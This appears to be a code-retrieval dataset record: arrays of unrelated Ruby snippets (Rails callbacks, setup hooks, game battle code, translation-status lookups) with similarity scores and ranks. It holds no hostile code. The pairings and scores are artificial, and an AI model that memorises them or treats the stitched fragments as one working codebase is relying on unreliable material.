"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup_handler\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def before_dispatch(env); end",
"def process_action(...)\n send_action(...)\n end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def action\n end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def config(action, *args); end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def setup\n # override this if needed\n end",
"def matt_custom_action_begin(label); end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def setup_signals; end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def lookup_action; end",
"def around_hooks; end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def action_target()\n \n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def call\n setup_context\n super\n end",
"def _handle_action_missing(*args); end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def duas1(action)\n action.call\n action.call\nend"
] |
[
"0.6162554",
"0.60452986",
"0.5945278",
"0.59169763",
"0.58877826",
"0.5834763",
"0.5775349",
"0.5704972",
"0.5704972",
"0.56543803",
"0.5621491",
"0.5427202",
"0.54093206",
"0.54093206",
"0.54093206",
"0.53975695",
"0.53776276",
"0.53562194",
"0.5340594",
"0.5337824",
"0.5328757",
"0.5310255",
"0.5300339",
"0.5298796",
"0.5295774",
"0.5256034",
"0.5243039",
"0.5236007",
"0.5235239",
"0.5235239",
"0.5235239",
"0.5235239",
"0.5235239",
"0.52321917",
"0.5227032",
"0.52216744",
"0.5216349",
"0.52161187",
"0.5210265",
"0.5207244",
"0.5177388",
"0.5177142",
"0.51747334",
"0.516293",
"0.51629275",
"0.5155534",
"0.51540613",
"0.515197",
"0.5151636",
"0.5145279",
"0.51380795",
"0.5135777",
"0.5117378",
"0.5115066",
"0.5115066",
"0.5110235",
"0.5106418",
"0.50917816",
"0.50909185",
"0.50855017",
"0.5082105",
"0.506359",
"0.5055345",
"0.50546116",
"0.50523037",
"0.50523037",
"0.50327307",
"0.5024364",
"0.5021113",
"0.50174654",
"0.50163317",
"0.5000553",
"0.50002855",
"0.49991882",
"0.49905527",
"0.49905527",
"0.49849054",
"0.4982546",
"0.4980941",
"0.4979153",
"0.49693102",
"0.4967172",
"0.49594432",
"0.49564302",
"0.49552485",
"0.49533385",
"0.49506924",
"0.49452737",
"0.49442786",
"0.49347955",
"0.49341312",
"0.49295264",
"0.49261844",
"0.4925649",
"0.49251428",
"0.4920729",
"0.49177617",
"0.4916373",
"0.49158472",
"0.4915794",
"0.49156648"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def request_template_params
params.require(:request_template).permit(:name, :cpu_cores, :ram_gb, :storage_gb, :operating_system)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Returns a single translation status for the given project
|
def translation_status(project_id, status_id)
c_r Lokalise::Resources::CustomTranslationStatus, :find, [project_id, status_id]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def trans_status_textual\r\n STATUSES[self['trans_status']]\r\n end",
"def project_status\n\t\t@project = Project.find(params[:id])\n\n\t\trender 'projects/project_status'\n\tend",
"def status_translations\n @status_translations ||= Assembla.statuses['ticket_statuses']\nend",
"def create_translation_status(project_id, params)\n c_r Lokalise::Resources::CustomTranslationStatus, :create, project_id, params\n end",
"def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/terms/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n array = YAML.load(response)\n return nil if array.empty?\n translations = []\n array.each do |translation|\n term_translation = WebTranslateIt::TermTranslation.new(translation)\n translations.push(term_translation)\n end\n return translations\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end",
"def find_by_project(client, project: required(\"project\"), per_page: 20, options: {})\n params = { limit: per_page }.reject { |_,v| v.nil? || Array(v).empty? }\n Collection.new(parse(client.get(\"/projects/#{project}/project_statuses\", params: params, options: options)), type: Resource, client: client)\n end",
"def status\n if index.disert_theme\n @status ||= if index.disert_theme.defense_passed? || index.final_exam_passed?\n ''\n elsif all_subjects_finished?\n I18n::t(:study_plan_completed, :scope => [:model, :plan])\n elsif canceled?\n I18n::t(:study_plan_not_approved, :scope => [:model, :plan])\n elsif approved?\n I18n::t(:study_plan_approved, :scope => [:model, :plan])\n elsif admited?\n I18n::t(:study_plan_admited, :scope => [:model, :plan])\n end\n else\n I18n::t(:missing_disert_theme_title, :scope => [:model, :plan])\n end\n end",
"def map_to_cctray_build_status(project_status)\n case project_status.to_s\n when Build::STATUS_OK then 'Success'\n when Build::STATUS_FAILED then 'Failure'\n else 'Unknown'\n end\n end",
"def update_translation_status(project_id, status_id, params)\n c_r Lokalise::Resources::CustomTranslationStatus, :update, [project_id, status_id], params\n end",
"def ticket_status(ticket)\n I18n.t(\"tickets.status.#{ticket.status_name}\")\n end",
"def translation(locale=I18n.default_locale)\n translations.find_by(locale: locale)\n end",
"def translation_status_colors(project_id)\n c_r Lokalise::Resources::CustomTranslationStatus, :colors, [project_id, 'colors']\n end",
"def status\n STATUSES[self.status_id]\n end",
"def status_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'StatusProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :project_name\n\t\t\targs[:query]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def getProject(project)\r\n\t\t\t\tproject_json = JSON.parse project\r\n\t\t\t\tproject_array = project_json[\"projects\"]\r\n\t\t\t\treturn jsonToProject(project_array[0])\r\n\t\t\tend",
"def get_status_name\n case self.status\n when STATUS_NOT_APPLIED\n return I18n.t('workflow.status.not_applied')\n when STATUS_NOT_ISSUED\n return I18n.t('workflow.status.not_issued')\n when STATUS_ACTIVE\n return I18n.t('workflow.status.active')\n when STATUS_ACCEPTED\n return I18n.t('workflow.status.accepted')\n when STATUS_DENIED\n return I18n.t('workflow.status.denied')\n end\n end",
"def build_status(file_path, locale_file_id)\n is_project_in_process = Project.exists?(file_path: file_path,\n locale_file_id: locale_file_id,\n status: %i[open processing])\n return :waiting if is_project_in_process\n\n :open\n end",
"def status\n STATUSES[self.status_id || 0]\n end",
"def status\n return :code => info[:statuscode].to_i, :messages => info[:messages]\n end",
"def set_project_status\n @project_status = Project::Status.find(params[:id])\n end",
"def status(date = Date.today)\n status = if absolved?(date)\n I18n::t(:absolved, :scope => [:model, :index])\n elsif finished?(date)\n I18n::t(:finished, :scope => [:model, :index])\n elsif interrupted?(date)\n I18n::t(:interrupted, :scope => [:model, :index])\n elsif studying?(date)\n I18n::t(:studies, :scope => [:model, :index])\n elsif enrolled?(date)\n I18n::t(:studies, :scope => [:model, :index])\n elsif before_admit?(date)\n I18n::t(:studies, :scope => [:model, :index])\n else\n raise UnknownState\n end\n return status\n end",
"def reg_status_translator\n @reg_status_translator ||= Notifications::RegStatusTranslator.new\n end",
"def status_string number\n status_translations.each do |hash|\n if hash['list_order'] == number\n return hash['name']\n end\n end\n 'Unknown'\nend",
"def get_status_name\n\n return Team.status_name(self.status)\n end",
"def status_text\n t(IMPORTING_STATUS[status])\n end",
"def index\n @project_statuses = Project::Status.all\n end",
"def status_text(path)\n STATUS_TEXT[status(path)]\n end",
"def get_statuses\n\t\t# scrape the statuses web page (more convenient than looking up an API)\n\t\t\n\t\turl = CONFIG[\"statuses URL\"]\n\t\tdoc = Nokogiri::HTML( open(url) )\n\t\tprojects = doc.css('.project')\n\t\t\n\t\tproject_statuses = projects.map do |project|\n\t\t\t{\n\t\t\t\tid_num: begin\n\t\t\t\t\tid = project.attr('id') #=> \"project_6\"\n\t\t\t\t\tid.match(/\\d+/).to_s.to_i\n\t\t\t\tend,\n\t\t\t\tname: begin\n\t\t\t\t\tproject.at_css('h3 a').content.strip\n\t\t\t\tend,\n\t\t\t\tbuild_status: begin\n\t\t\t\t\tclasses = project.attr('class').split #=> \"status_build_failed project\"\n\t\t\t\t\tbuild_status_class_common_prefix = 'status_'\n\t\t\t\t\tbuild_status_class = classes.find { |klass| klass.start_with?(build_status_class_common_prefix) }\n\t\t\t\t\tbuild_status_class.sub(build_status_class_common_prefix, '').to_sym\n\t\t\t\tend,\n\t\t\t}\n\t\tend\n\t\t\n\t\treturn project_statuses.sort_by { |status| status[:id_num] }\n\tend",
"def status\n @status ||= STATUS[mapping_for(:status)]\n end",
"def status\n @status ||= STATUS[mapping_for(:status)]\n end",
"def getStatus\n @@statuses[@status]\n end",
"def s_status(s_language)\n s_out=breakdancemake_s_bdmservice_status_by_PATH_only_t1(s_language)\n return s_out\n end",
"def main_translation\n translations.where(language: main_language).one\n end",
"def translate_to_flag\n @translate_to_flag ||= Lang.where(id: current_user.translate_to)\n end",
"def translation\n @translation ||= Mongify::Translation.parse(@translation_file)\n end",
"def status\n Status.find(self.status_id).name\n end",
